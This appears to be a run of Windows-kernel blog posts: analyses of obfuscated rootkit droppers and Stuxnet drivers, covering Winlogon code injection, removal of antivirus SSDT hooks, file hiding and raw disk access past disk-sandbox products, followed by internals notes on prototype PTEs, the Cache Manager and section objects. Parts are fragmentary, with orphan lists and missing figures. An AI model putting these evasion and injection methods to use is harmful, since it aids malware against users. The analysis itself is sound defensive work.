• The dropper is well protected from various methods of static and dynamic analysis. It contains various anti- disasm/debug/VM/dump features.
• The dropper contains very obfuscated code with jumps to middle of instructions, garbage instructions, useless checks, useless jumps, etc.
• Because of using a lot of garbage instructions, size of dropper is large enough (1,3MB).
• The dropper is designed so that to delay its analysis as long as possible.
• It installs the rootkit into a system.
• It drops rootkit into file with name logonsrv.dat.
• It is intended only for rootkit dropping.

The dropper and rootkit contain timestamp inside PE header that looks like legitimate.

Typical end of function in dropper.

All functions lead to one code.

That is very obfuscated and contains useless jumps.

Below are listed characteristics of Ring 0 rootkit.

• The rootkit code is very obfuscated, making its statical analysis almost impossible.
• The rootkit contains encrypted code and data inside.
• It does not create device object and does not communicate with Ring 3 code.
• It does not set any hooks in Windows kernel.
• It is intended only for hidden injection of malicious code into trusted Winlogon process.
• The rootkit creates its copy in allocated pool region that is also contains very obfuscated code.
• It uses self-modifying code, for example, it can modify important call or jmp instructions with another address or another register.
• It is designed to be hidden as far as it is possible and unloads its driver after code into Winlogon was injected.
• It checks presence of ESET Helper Driver (ehdrv.sys) in a system and removes its SSDT (KiServiceTable) hooks. 

Before doing main work, the rootkit prepares own code for execution.

• It allocates two non-paged buffers. One with size 0x56000 for its driver and second with size 0x10000.
• First buffer is used for storing newly created driver (in memory) that will do all necessary work and second buffer with some trampolines to NT kernel API.
• The rootkit builds its IAT with 0x2F items that are located into section of new driver. But instead of using this IAT directly, the rootkit code takes these addresses and uses it for modifying instructions and variables in the code from second pool region.

It is worth to note that authors of rootkit took all possible steps to make rootkit analysis in memory much complicated. Advanced users also will have troubles with its detection via anti-rootkit tools.

• The rootkit does not use its original image logonsrv.dat for performing main malicious tasks.
• The rootkit does not rely on continuous IAT buffer in memory that can be used to simplify its analysis.
• The rootkit does it main work from two allocated memory (pool) blocks with self-modifying code. One of these blocks is used as special trampoline for NT kernel API calls.
• It uses KeDelayExecutionThread function before doing main work, i. e. before injection code into Winlogon.

Below you can see code from second allocated buffer with size 0x10000 that contains trampolines to imported by rootkit NT API. Another code from created driver (from first buffer) rewrites instructions in these trampolines with addresses from IAT.

After the end of preliminary actions, the rootkit calls ZwOpenKey for opening its registry key and reads value of ImagePath parameter with help of  ZwQueryValueKey. Between two calls rootkit modifies own instructions as shown below.

After calling ZwQueryValueKey, the code has been modified again for calling PsCreateSystemThread.

The rootkit creates two threads with PsCreateSystemThread API and one of them is used for performing main malicious work. Below you can see the scheme of rootkit execution. It prepares code that will be injected into Winlogon and reads \KnownDlls\ntdll.dll section that represents content of Ntdll library for easy access. The rootkit also imports KeServiceDescriptorTable variable for getting address of KiServiceTable and restore items in this table.

It seems only one function in rootkit body was not obfuscated. This function specializes in enumeration of system modules. The rootkit code calls it several times, for getting NT kernel base address, Ntdll base address and for checking presence of ESET helper driver (ehdrv.sys). As you can see above, authors take interest in NT kernel files, because they need to restore original SSDT functions.

Interesting to note that authors have been used same scheme for obfuscating rootkit driver like they did in case of dropper. We can find same functions construction inside rootkit body.

As you can see on image above, all functions again lead to one code that is obfuscated with garbage instructions.

Also interesting that startup code in both dropper and driver didn't contain obfuscation. Considering above information and this fact, it seems that for obfuscation driver and dropper has been used one tool that launches process of obfuscation before compiler will generate code. i. e. on source code level.

The rootkit allocates three buffers into Winlogon process. First with size 0x100000, second 0x3000 and third 0x48000. The following Ntoskrnl functions are used by the rootkit.

Dropper 2

Next characteristics are related to second dropper.

• Like first dropper, this dropper is well protected from various methods of static and dynamic analysis.
• The dropper has same size 1.3MB.
• The dropper drops Ring 0 rootkit into a file with name ndisclient.dat.

Some information about dropper behaviour.

Some characteristics of driver.

• Designed to communicate with user mode client with help of device \Device\PhysicalDrive00 and symbolic link to it \DosDevices\PhysicalDrive00.
• It has a smaller size than driver from first dropper (43 KB vs 372 KB).
• It registers three IRP dispatch entry points for IRP_MJ_CREATE, IRP_MJ_CLOSE and IRP_MJ_DEVICE_CONTROL requests.
• The rootkit checks presence of driver \Driver\diskpt (Shadow Defender shadowdefender.com) and \Driver\DfDiskLow DfDiskLow.sys (Deep Freeze Faronics Corp).
• It contains code for parse object manager name space via functions ZwOpenDirectoryObject, ObQueryNameString.
• It contains obfuscated, self-modificated code that is hard for both static and dynamic analysis.
• Authors have provided DriverUnload function.
• The rootkit is intended for FS sandbox bypassing and for modifying files directly on low hard disk level.

The rootkit allocates pool block in DriverEntry that is used for already familiar to us trampoline to NT kernel API (like in first driver).

Below you can see image with major steps of execution flow of rootkit's DriverEntry.

Part of IRP_MJ_DEVICE_CONTROL handler code is presented below.

The rootkit code in DriverEntry retrieves pointer to device object that represents hard disk(s) by port-driver (atapi). This information is used subsequently in code that dispatches IRP_MJ_DEVICE_CONTROL operation for sending synchronous requests to port-driver with standart set of functions: 

• MmMapLockedPagesSpecifyCache, IoAllocateMdl for work with non-paged memory and direct I/O.
• IoBuildSynchronousFsdRequest, IofCallDriver to build a correponding IRP and send it to driver. 
• MmUnmapLockedPages, IoFreeMdl for releasing resources.

Below you can see table with characteristics of both analyzed drivers.

Conclusion

Authors of this malware took almost all efforts to hamper both the static and dynamic analysis. The first rootkit serves only for one purpose - to inject malicious code into Winlogon system process. It checks presence of ESET Helper Driver due to it ability to block rootkit malicious actions and attackers seems sure that their victim uses this security product. As you can see from the analysis due to high level of code obfuscation, it is useless to show images of rootkit code, because it do not help for building logic of its execution. Malware authors have used special instrument for droppers and rootkits obfuscation. It's not clear, why attackers did not care about rootkit persistence into a system and why it not guards own registry key.

Both rootkits are targeted on executing only one specific task: first is used for data/code injection into Winlogon and second to communicate with hard drive on low level. The rootkit from second dropper doesn't care about own persistence: the dropper removes its driver from disk once it was loaded into memory. It is worth to note that checking of presence of specific security products are correspond with the goals of both rootkits. For example, first driver checks presence of AV driver, when second driver is targeted only on system utilities that specialize on guarding a system from critical modifications.

Both security/system products Shadow Defender and Faronics Deep Freeze to leverage FS sandbox methods for blocking potential malicious actions for protected files in a system. This is an answer why attackers need low level disk access - they need to bypass FS sandbox and modify required files directly.

• IRP_MJ_CREATE
• IRP_MJ_CLOSE
• IRP_MJ_READ
• IRP_MJ_WRITE
• IRP_MJ_DEVICE_CONTROL
• IRP_MJ_CLEANUP.

• Windows NT 4.0 (1381)
• Windows 2000 (2195)
• Windows XP (2600)
• Windows Server 2003 (3790)

• IRP_MJ_CREATE
• IRP_MJ_CLOSE
• IRP_MJ_DEVICE_CONTROL (fnDispatchIrpMjDeviceControl)

As we know, function ZwProtectVirtualMemory is not exported by the Windows kernel and this is another task which authors of MRXCLS.sys have been solved. For example, in case of Windows 2000, they try to find function signature with analysis of executable sections of ntoskrnl image. This signature you can see below.

Authors are trying to enumerate all useful ntoskrnl sections and for each of it call special function that performs searching ZwAllocateVirtualMemory by signatures on Windows 2000 or little harder on Windows XP.

Main purpose of this Stuxnet rootkit is code injection. As we can see from its code, the driver tries to read configuration data of injection either from registry parameter Data, either from file, if its name is present into malware sample. In analyzed sample, name of configuration file is absent. Injection configuration data is prepared by user mode part of malware. Injection mechanism was perfectly described by ESET in their paper. The driver performs injection into process in two phases: first phase is preparatory and second is major.

On second phase it tries to read content of file, decrypts it and injects it into process address space. File names for injection are stored into configuration file or registry parameter Data.

As we can see from the code analysis, authors have developed rootkit for injection malicious code into processes. Data for injection is prepared by Stuxnet user mode code. The driver registers handler for image load notify and performs injection into two phases. It also supports one IOCTL command for changing protection for virtual memory pages of process with help of ZwProtectVirtualMemory. For finding this unexported and undocumented function into ntoskrnl, it uses raw bytes search based on special signatures.

Driver 2
File name: Mrxnet.sys
SHA256: 0d8c2bcb575378f6a88d17b5f6ce70e794a264cdc8556c8e812f0b5f9c709198
File size: 17400 bytes
Signed: Yes
Timestamp: 2010-01-25 14:39:24
Device object name: none
Main purpose: malicious files hiding
AV detection ratio: 51/61

Unlike first driver MRXCLS.sys, authors of Mrxnet.sys don't perform anti-analysis checks in the start function of driver. Mrxnet.sys is a FS filter driver that controls some file operations. The rootkit tries to hide some file types by controlling IRP_MJ_DIRECTORY_CONTROL request and removes information about it from buffer.

The rootkit initialization steps.
As we can see from code, the driver plays with two types of devices: firstly its own CDO (Control Device Object) that represents FS filter and secondly devices that were created to filter files related operations on specific volumes. In case of CDO, the rootkit dispatches widely known request IRP_MJ_FILE_SYSTEM_CONTROL and operation IRP_MN_MOUNT_VOLUME. This operation is used by Windows kernel in case of mounting new volume into a system. After got this request, the rootkit creates new device object, registers completion routine and attaches device to newly mounted device. This method allows for driver to monitor appearance in a system new volumes, for example, volume of removable drive.

As you can see from the picture above, the driver also calls IoRegisterFsRegistrationChange I/O manager API for registering its handler that Windows kernel will call each time, when new file system driver CDO is registered into a system. In this handler, the driver creates new device and attaches it to passed CDO or removes device in case of file system driver deletion.

Major purpose of Mrxnet.sys driver is hiding Stuxnet malicious files. Windows kernel provides ZwQueryDirectoryFile API for requesting information about files in directory. This API function calls driver handler of IRP_MJ_DIRECTORY_CONTROL operation. So, the rootkit registers own IRP_MJ_DIRECTORY_CONTROL handler and sets completion routine when such request is passed through handler. In this completion routine it analyzes buffer with data and checks file names in it. It erases from buffer files with extension .LNK and .TMP. It also imposes additional restrictions on hiding. For example, in case of .LNK file, its size should be equal 0x104B.

It should be noted that such technique of files hiding were described in famous book "Rootkits: Subverting the Windows kernel" by Hoglund, Butler.

Driver 3
File name: Jmidebs.sys
SHA256: 63e6b8136058d7a06dfff4034b4ab17a261cdf398e63868a601f77ddd1b32802
File size: 25552 bytes
Signed: Yes
Timestamp: 2010-07-14 09:05:36
Device object name: \Device\{3093983-109232-29291}
Main purpose: code injection
AV detection ratio: 50/61

This driver is pretty similar to MRxCls.sys and serves only for code injection into processes. The following properties distinguish it from original MRxCls.sys.

• New device object name - \Device\{3093983-109232-29291}
• New registry service name - jmidebs
• New registry service parameter name (injection data) - IDE
• New IOCTL code for reading (caching) configuration data
• New constants in decryption routine.

Decrypted strings.

\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\jmidebs
IDE
\Device\{3093983-109232-29291}

The rootkit contains additional IOCTL function, which specializes in caching configuration data. This data are used for injection malicious Stuxnet code.

Driver 4
File name: MRxCls.sys
SHA256: 1635ec04f069ccc8331d01fdf31132a4bc8f6fd3830ac94739df95ee093c555c
File size: 26616 bytes
Signed: Yes
Timestamp: 2009-01-01 18:53:25
Device object name: \Device\MRxClsDvX
Main purpose: code injection
AV detection ratio: 50/61

This sample is identical to driver 1, but signed with digital certificate. Both samples have identical timestamp value in PE header and identical code inside.

Conclusion

As we can see from the analysis, authors of Stuxnet Ring 0 part were interested in code injection and malicious files hiding. Driver MRxCls.sys has two instances, one unsigned and another with digital signature. Both drivers are identical and contain same compilation date. Driver Jmidebs.sys was compiled later than these two and I can call it "MRxCls.sys v2", because it contains some differences inside, but serves for same purpose. Driver Mrxnet.sys is a typical legacy FS filter driver that is used by attackers for hiding files in Windows.

• Independent from user mode context method of files hiding, for example, with help of legacy FS filter (Stuxnet).
• Universal method of code injection based on Windows kernel callbacks (Stuxnet, EquationDrug). Also code injection into trusted Windows processes for masking malicious activity (Finfisher, EquationDrug).
• Execution of necessary user mode code directly in kernel mode (Remsec).
• To bypass Windows x64 kernel mode restrictions (DSE) with bootkit component (Sednit, GrayFish).
• To listen network traffic directly from physical network adapter (EquationDrug).
• To bypass FS/disk level sandboxes as well as other restrictions into a system with security products (Wingbird).

• It creates unnamed device object, but registers IRP dispatch functions.
• It dispatches IOCTL requests.
• It specializes in run-time patching of Windows kernel code.
• It has huge driver size (153 600 bytes).
• It сontains an inarticulate logic of work, which means that it developed for targeting on one specific goal, but later was modified for another.

Before creating new DriverObject, the rootkit tries to get pointer to another specific system driver object. It contains encrypted names of four drivers listed below. Next, it tries to analyze all driver objects and is looking for one, which contains non-zeroed DriverSection field and checks if DriverObject->MajorFunction[IRP_MJ_CREATE_NAMED_PIPE] handler is located into ntoskrnl image.

In my case the rootkit choose \Driver\mountmgr.

During new driver object initialization, the rootkit copies some fields from \Driver\mountmgr into newly created DriverObject. It also copies value of DriverObject->MajorFunction[IRP_MJ_CREATE_NAMED_PIPE] of MountMgr into IRP_MJ handlers of the new driver. Later, it rewrites these handler with pointer to one dispatch function.

Next step of the rootkit execution is really interesting. It tries to get handle (FileObject) on its own device object calling IRP_MJ_CREATE handler directly with IoCallDriver. But before doing this, it creates handle to reserved system device object \Device\NULL that belong to driver \Driver\Null. Further, it hijacks DeviceObject field into Null FileObject on rootkit device object and uses this FileObject for sending IRP_MJ_Create request.

Despite pretty clear logic of driver initialization, execution logic of remaining rootkit code is really incomprehensible. For example, created by rootkit table of ntoskrnl exports is used only in one case, when the rootkit receives special IOCTL code. 

Next characteristics show inarticulate logic of rootkit work.

• As mentioned above, the rootkit builds table of ntoskrnl exports that stores pointers to functions and hashes of names. Strange thing is that the rootkit uses this table only one time during dispatching IOCTL request.
• As mentioned above, the rootkit has function for retrieving ntoskrnl API by its function name hash. It also uses obfuscation of pointers to these functions. Another strange thing is that it uses this method only in specific code pieces, like it was written by one person and recently was ignored by another.
• It is unclear how user mode code connects to rootkit for sending IOCTL, because rootkit's device object is unnamed.

Conclusion

• FileLinkInformationEx = 72 /*0x48*/,
• FileLinkInformationExBypassAccessCheck = 73 /*0x49*/,
• FileStorageReserveIdInformation = 74 /*0x4A*/,
• FileCaseSensitiveInformationForceAccessCheck = 75 /*0x4B*/,

First mitigation improves Windows immunity to Speculative Store Bypass (SSB) vulnerability. Second as I think is related to Arbitrary Code Guard (ACG). And third adds support of Intel CET anti-exploit technology.

For those who had deal with basics Windows NT or Linux internals concepts, the term "frame" is known. It represents set of registers that have been captured at the moment of interruption or exception: trap frame, exception frame are famous instances. When the frame was captured, later interrupt manager, exception manager or system service manager will return a program execution flow to the original state (pre-interruption) using frame info.

The Retpoline mitigation practice is well known in the Linux world. This feature has been used to protect apps from Spectre #2 (preventing branch target injection). Windows 10 RS5 says hi to Retpoline too.

• Section (nt!_SECTION). The kernel structure that describes section object.
• Segment (nt!_SEGMENT). Actually is a core structure of PPTE architecture that contains PPTE page table.
• Segment Control Area (SCA, nt!_CONTROL_AREA). Along with SEGMENT is a key structure of Section and for understanding how PPTE works. Control area is intended for storing information that helps VMM to perform I/O operations to read data from file or to write data into it.
• Subsection (nt!_SUBSECTION`). Is a data structure that contains a necessary information for calculation an offset inside mapped file via PPTEs

Let's talk about each of them more detailed.

{

      struct _SEGMENT* Segment; //ptr to corresponding segment

      union

      {

            struct _LIST_ENTRY ListHead;

            VOID* AweContext;

      };

      UINT64 NumberOfSectionReferences; 

      UINT64 NumberOfPfnReferences;

      UINT64 NumberOfMappedViews; //count of sections that have been mapped with this CA

      UINT64 NumberOfUserReferences;

    ...

      union

      {

            struct

            {

                  union

                 {                                                                                         

                        ULONG32 NumberOfSystemCacheViews;

                        ULONG32 ImageRelocationStartBit;

                  };                                                                                        

                 union

                 {

                       LONG32 WritableUserReferences;

                       struct

                       {

                             ULONG32 ImageRelocationSizeIn64k : 16;

                             ULONG32 LargePage : 1;

                             ULONG32 AweSection : 1;

                             ULONG32 SystemImage : 1;

                             ULONG32 StrongCode : 2;

                             ULONG32 CantMove : 1;

                             ULONG32 BitMap : 2;

                             ULONG32 ImageActive : 1;

                             ULONG32 ImageBaseOkToReuse : 1;

                       };

                 };

                 union

                 {

                       ULONG32 FlushInProgressCount;

                       ULONG32 NumberOfSubsections;

                       struct _MI_IMAGE_SECURITY_REFERENCE* SeImageStub;

                 };

            }e2;

      }u2;

      ...                                                                            

}CONTROL_AREA, *PCONTROL_AREA; //defines section's properties that are actual for all clients

When a client requests unmap view of section operation, Windows just removes links to corresponding PPTE entries from process's PTE that describes a view of mapped section. Thus, PPTE is comfortable and universal interface for attaching view and detaching it from the specific process address space. And this is its major purpose. The Segment structure contains pointer to PPTE table as we can see below.

typedef struct _SEGMENT

• We can see that subsections 2-3, which are mapped to PE sections .text and .orpc are executable, i. e. adress PPTE with code sections. Fourth subsection belongs to global data and has copy-on-write protection. Other are using only for read access.
• Second subsection describes first section inside PE file with executable code. In fact, it begins from second sector (400 / SECTOR_SIZE == 2). Virtual address of section is 0x11ef5e, i. e. with rounding to multiple page size 0x11ef5e + 0xA2 = 0x11F000 / PAGE_SIZE =  0x11F, i. e. number of PTEs in subsection. Raw size in header is 0x11f000 / 0x200 = 0x8F8, i. e. number of sectors in subsection.
• Third section that also contains an executable code and begins from sector 0x11F400 / 0x200 = 0x8FA. Size is 0x6000 (in this case we take physical, because it larger than virtual, i. e. 0x6000/0x1000 = 6 PTEs.
• Forth subsection begins 0x125400 / 0x200 = 0x92A, size 0x7000 / 0x1000 = 7 PTEs.
• Fifth 0x12BA00 / 0x200 = 0x95D, size 0x2000 / 0x1000 = 2 PTEs.
• Sixth 0x12D200 / 0x200 = 0x969, 0xE000 / 0x1000 = 0xE PTEs.

Introduction

The cache is an integral part of the operating system and its hybrid kernel. Roughly speaking, it's just a virtual memory region in the kernel address space, on which the Cache Manager maps file data to provide quick access to them in the future. This access is frequently used by the File System Driver (FSD) or the Windows Memory Manager (VMM). Instead of reading file data from disk every time a user or system needs to access to it, the OS kernel calls the Cache Manager in an attempt to get this data from memory. In turn, the Cache Manager is a set of function in the kernel executable file ntoskrnl.exe, which starts with a prefix Cc. These functions are private, so to get to their names, you need to configure the symbol server settings in WinDbg or IDA.

Learning the Windows Cache Manager is quite a difficult task for beginners. This Windows kernel subsystem is closely related to the VMM, so if you don't have enough knowledge in it, try to understand the basic concepts without going into complicated technical aspects. In addition, you should have some knowledge in the field of file system drivers (FSD), because they are the most frequent clients of the Cache Manager. It's worth to note that the cache concept exists only at the level of file system, lower drivers on the device stack like the volume manager, partition manager, disk driver, and disk port driver don't use it.

This blog post is dedicated to the technical aspects of the Windows Cache Manager and designed for the skilled Windows Internals readers. If you lack knowledge on this topic, read the corresponding chapter in the Windows Internals book and then get back to this post. I would say that this blog post is some kind of technical addition to the chapter about the cache in the book (or I hope it claims..).

Let's take a look at some terms for newbie. 

Working Set (WS) - the set of pages in the user mode or kernel mode address space that are currently resident in physical memory. The kernel mode working set called System Working Set.

PTE (Page Table Entry) - a structure that is used by the CPU and VMM to translate virtual addresses to physical ones.

Proto-PTE (Prototype PTE, PPTE) - a special type of so called Software PTE that is used only by the VMM (not CPU) to work with section objects (memory-mapped files) and serves as an intermediate level for the translation mapped section pages to the real hardware PTE. PPTE is a key structure for understanding the section objects.

Segment Control Area (or just Control Area, CA) - a structure that contains information required for performing I/O operations with file data in or from the mapped file. It's stored in the non-paged pool. With the help of CA the VMM can address the same file as binary and as executable.

The basic concepts

The memory region in the kernel mode address space occupied by the cache starts with the value of the VMM variable MmSystemCacheStart and ends with the value of MmSystemCacheEnd. Thus, if X - is a pointer to the memory region that belongs to the cache, then MmSystemCacheStart<=X<=MmSystemCacheEnd. File data in this region are mapped into slots, 256KB blocks of data. The cache has two features, which are a consequence of the fact that the VMM is responsible for its internal implementation.

• The section objects maintained by the VMM are used to map file data into slots. Thus, the VMM is responsible for paging file data.
• Cache virtual pages can be unloaded to the page file.

These features emphasize the fact that the Cache Manager doesn't know for sure whether the file data is in physical memory or not. Undocumented structure called Virtual Address Control Block (VACB) is used to describe the cache slots, which are reserved in the paged pool. The control blocks are addressed from CcVacbs variable. Each of these blocks controls a specific slot. The variable CcNumberVacbs stores the number of slots.

• CcVacbFreeList. It's a list of free VACBs, i e those VACBs that are ready for use.
• CcVacbLru. A list of all other structures. A VACB has free status if its .ActiveCount field is zero. When reused, the slot address is re-mapped. The following WinDbg command confirms these facts.

r eax=0; !list "-t ntdll!_LIST_ENTRY.Flink -x \"r eax=@eax+1;? @eax;? @$extret-10; dt nt!_VACB @$extret-10\" nt!CcVacbFreeList "

We can use it to print free VACBs and their numbers, for example.

Next from the first - 0x81954fb0=81954fa0 + 10.

We can do the same for the remaining (CcVacbLru).

r eax=0; !list "-t ntdll!_LIST_ENTRY.Flink -x \"r eax=@eax+1;? @eax;? @$extret-10; dt nt!_VACB @$extret-10\" nt!CcVacbLru"

Most of these structures have initialized shared maps and are mapped to the cache. If sum up the last VACB numbers from both lists, u get something like this.

14b+6b3 = 7fe

dd CcNumberVacbs l1

8055f670 000007fe

The virtual address of a specific slot will refer to the PTE pointing to the PPTE, the latter is linked to the subsection that describes the file (usually there's a one subsection that linked to the shared map and maps the file as binary, look at MmMapViewInSystemCache). You can learn more about PPTEs from my blog post here.

The cached file is described by two important structures called a shared cache map and a private cache map. Unlike the shared cache map, the private cache map isn't so interesting for exploring, because it's used for so-called intelligence ahead-read. Let's take a look at the shared cache map. It represents a structure that the Cache Manager maintains for caching a specific file. As in the case of control areas, which are unique for disk files (one is used to map the file as binary and another one to map it as an executable), the shared cache maps are unique as well and are addressed with SECTION_OBJECT_POINTERS structure, the latter is held by the FSD in the FCB structure of a specific file. Thus the Cache Manager knows what exactly slot describes a specific file via VACB, which stores a pointer to the shared cache map.

The cache manager can find this structure for each opened FileObject, because it points to SECTION_OBJECT_POINTERS (FileObject->SectionObjectPointer). The shared cache map is described by the following structure.

The Cache Manager can find out quickly which of the specific files are already mapped (i e have used slots), the shared cache map points to the VACB index array. The first element of the array points to the first 256KB of the file, the second to the next 256KB and so on. In case if the file has size not more than 1MB, i e can fit in four slots, the array InitialVacbs from the shared cache map acts as an index array, otherwise the array is allocated from the paged pool. In any case, the pointer to it is stored in the Vacbs field. All shared cache maps linked into a list with the head in PrivateList (&SharedCacheMap->PrivateList, &PrivateCacheMap->PrivateLinks). Moreover, all shared cache maps are also linked into lists with SharedCacheMapLinks. There's a special function of the Cache Manager CcInitializeCacheMap, which is called by the FSD, and is responsible for initializing a shared cache map (if it hasn't been created yet), creating a section object and creating a private cache map.

VOID CcInitializeCacheMap (__in PFILE_OBJECT FileObject, __in PCC_FILE_SIZES FileSizes, __in BOOLEAN PinAccess, __in PCACHE_MANAGER_CALLBACKS Callbacks, __in PVOID LazyWriteContext) 

This function is responsible for.

• It creates and initializes the shared cache map if it doesn't exist yet (FileObject->SectionObjectPointer->SharedCacheMap is zeroed), SharedCacheMap->FileObject is initialized by the first file object for which the map is created.
• It creates the section object with MmCreateSection. Further, this section will be used to map file data into cache slots.
• Creates a VACB index array with CcCreateVacbArray. This function initializes fields .Vacbs and .SectionSize.

If the FSD needs to read data from the cache, it calls CcCopyRead.

Internally, the Cache Manager maps parts of file data with help of CcGetVirtualAddress, this function returns the base address of the data in memory. The function operates only with one VACB and one slot.

The Cache Manager uses the following function to map file data.

PVACB CcGetVacbMiss (IN PSHARED_CACHE_MAP SharedCacheMap, IN LARGE_INTEGER FileOffset, IN OUT PKLOCK_QUEUE_HANDLE LockHandle, IN LOGICAL HasBcbListHeads)

The function searches for a VACB to map file data into cache slots and maps it using MmMapViewInSystemCache (the value for the file mapping is taken from &Vacb->BaseAddress).

The following WinDbg script explores the cache.

Take a look at some printed data from my system.

Therefore, the $Mft file is cached at 0xd90c0000 with an offset 0x00ac0000 from its beginning. Take a look at it.

Let's ask the question how does the kernel maps sections into the cache. The answer is located in the MmMapViewInSystemCache function. Before analyzing it, point out some facts.

• The cache PTEs start from address that stores in MmSystemCachePteBase (usually it matches the address of the beginning of the page table, 0xC0000000).
• Free cache slots are linked to MMPTE_LIST list to provide quick access to them (see WRK for more info about this structure). The pointer to the head of the list is stored in MmFirstFreeSystemCache. The field .NextEntry in MMPTE_LIST stores a value that points to the next field (next block of PTEs). This value is relative to MmSystemCachePteBase. The MiInitializeSystemCache function is responsible for initializing of the PTEs cache list. The PTEs for the cache are reserved by adjacent blocks, i e to cover 256KB, the block is included 64 PTEs, see MiInitializeSystemCache.

MmMapViewInSystemCache maps only one cache slot, i e CapturedViewSize argument can contain a value-size of no more than 256KB. Below you can see is a pseudocode for the typical behavior of MmMapViewInSystemCache. Take a look at the comments, they explain the operations to be performed.

#define GetVirtualAddressByPte(PTE) ((PVOID)((ULONG)(PTE) << 10))

Instead of introduction

We can't imagine Windows without section objects (or file mapping objects in terms of Windows API) and hardly can we find a Windows kernel subsystem that doesn't address it. The great idea behind section objects is that instead of calling Windows File APIs to work with a file, you can read virtual memory to get file data and write virtual memory to write file data. But this simple concept doesn't have simple things under the hood. To simplify the understanding of this difficult topic, we take Windows x86 edition with 32-bit pointers.

Don't worry if you can't understand all the things, even skilled Windows Internals readers may have difficulties with this topic. I would recommend to read the corresponding chapter from the Windows Internals book, because this blog post includes a lot of technical stuff and describes some kind of low level things.

The basic terms

So if you're ready, let's get started. First, we need to take a quick look at some technical terms, because without understanding any of them, we can't get the full picture. Next we'll focus on each of them in detail.

• Section object - a kernel object described by the _SECTION structure. In the terms of Windows API it's called file mapping object. There're two types of section objects: pagefile-backed section and file-backed section. The first one is used when processes want to share a region of virtual memory. The file backed section reflects the contents of an actual file on disk.
• Virtual Memory Manager (VMM) - a set of Mm functions in ntoskrnl that are responsible for all operations related to virtual and physical memory. The VMM also creates, maintains and deletes section objects as well as their substructures (see below).
• I/O manager - in the context of our topic, these are Io functions in ntoskrnl that are used by the VMM to perform I/O operations with the mapped file data. This subsystem just initiates I/O operations, which are actually performed by file system drivers and disk drivers on device stacks.
• PTE (Page Table Entry) - a structure that is used by the CPU and VMM to translate virtual addresses to physical ones.
• Proto-PTE (Prototype PTE, PPTE) - a special type of invalid PTEs that is used only by the VMM (not CPU) to work with section objects and serves as an intermediate level for the translation virtual addresses to the mapped section pages (file data). PPTE points to a subsection and helps the VMM to find file data that should be located in the corresponding virtual memory pages.
• PTE pointing to PPTE - a special type of hardware invalid PTEs /with zeroed valid (V) flag/ that is designed to find the corresponding PPTE in the Segment structure (PPT).
• Prototype page table (PPT) - an array of PPTEs that is a part of Segment structure. Once the process maps a section, the VMM fills the hardware PTEs of the virtual pages with pointers to the elements of this array. When the process unmaps a section, the VMM removes pointers to PPTEs from hardware PTEs.
• Segment - a data structure that provides the section object with the necessary information to calculate pointers to subsections, it also contains a PPT.
• Segment Control Area (or just Control Area, CA) - a structure containing information required for performing I/O operations with file data in or from the mapped file. It's stored in the non-paged pool. With the help of CA the VMM can address the same file as binary and as executable.
• Subsection - a data structure containing the necessary information to calculate offsets relative to the beginning of the mapped file using PPTEs. There is normally only one subsection if the file was mapped as binary. In case if it was mapped as executable, the number of subsections is the same as the number of sections in the mapped executable.
• Page fault (#PF) for section - a situation (an exception) when a thread tries to access a virtual page mapped to the section, but its PTE is marked as not valid.
• Modified page writer - system threads that are responsible for synchronizing modified file data in virtual memory with a disk file.
• Page Frame, Page Frame Number, PFN database - terms describing physical memory: physical memory page, its number, numbers database. The latter includes information about all physical memory pages (page frames) and is designed to track status of each physical page (page frame).

A few words about Subsections

(((PUCHAR)Pte - (PUCHAR)Subsection->SubsectionBase) / sizeof(PTE)) << PAGE_SHIFT + Subsection->StartingSector * SECTOR_SIZE 

or for x86

(((PUCHAR)Pte - (PUCHAR)Subsection->SubsectionBase) / 4) << 12 + Subsection->StartingSector * SECTOR_SIZE

If Subsection is a ptr to the subsection, then the first PTE that describes it is FirstPte = &Subsection->SubsectionBase[0], and it's boundary, LastPte = &Subsection->SubsectionBase[Subsection->PtesInSubsection]. I e if X - the address of a PE file's subsection in virtual memory, then &Subsection->SubsectionBase[0] <= Pte < &Subsection->SubsectionBase[Subsection->PtesInSubsection].

Exploring the Segment structure

Unlike the Control Area structure that is designed to perform I/O operations with a file, the Segment stores information about a PE file that was taken from its PE header. In case of a binary file, this data isn't used. According to its purpose, a Segment also stores the Proto-PTE table (array) that addresses the offsets from the beginning of the mapped file through the Subsection structures. For example, if the VMM needs to load file data from the mapped file into virtual memory, it locates the corresponding Proto-PTE entry in the Segment table via not valid hardware PTE, which caused a page fault, from the page table. Next, using the Control Area structure and the calculated file offset, the VMM reads data from the file into virtual memory.

MmCreateSection creates segments using the following functions. It happens only if the file is mapped for the first time, otherwise the function gets a pointer to it via FileObject. Note that no matter how many sections have been created for the file object, there's always only one segment structure per type of mapping (binary, executable) for all of them. The same applies to Control Area structures, there's only one Control Area per type of mapping regardless of the number of created sections.

NTSTATUS MiCreateImageFileMap (IN PFILE_OBJECT File, OUT PSEGMENT Segment)

NTSTATUS MiCreateDataFileMap (IN PFILE_OBJECT File, OUT PSEGMENT *Segment, IN PUINT64 MaximumSize, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN ULONG IgnoreFileSizing)

As you can see MiCreateImageFileMap accepts fewer arguments, because it reads all the necessary information from the PE header of the executable file to be mapped. Description of other arguments you can find in NtCreateSection.

The following structure describes Segment.

• ControlArea - pointer to the corresponding CA.
• TotalNumberOfPtes - roughly mapped_file_size/PAGE_SIZE.
• SizeOfSegment - size of the structure in bytes. MiCreateImageFileMap calculates it as SizeOfSegment = sizeof(SEGMENT) + (sizeof(MMPTE) * ((ULONG)TotalNumberOfPtes - 1)) + sizeof(SECTION_IMAGE_INFORMATION). 
• PrototypePte - pointer to an array of PPTE. In fact, it's NewSegment->PrototypePte = &NewSegment->ThePtes[0].
• ThePtes - an array of PPTE, PPTE page table.

Perhaps the following image gives you a better understanding.

Behind the curtain of Section PTEs

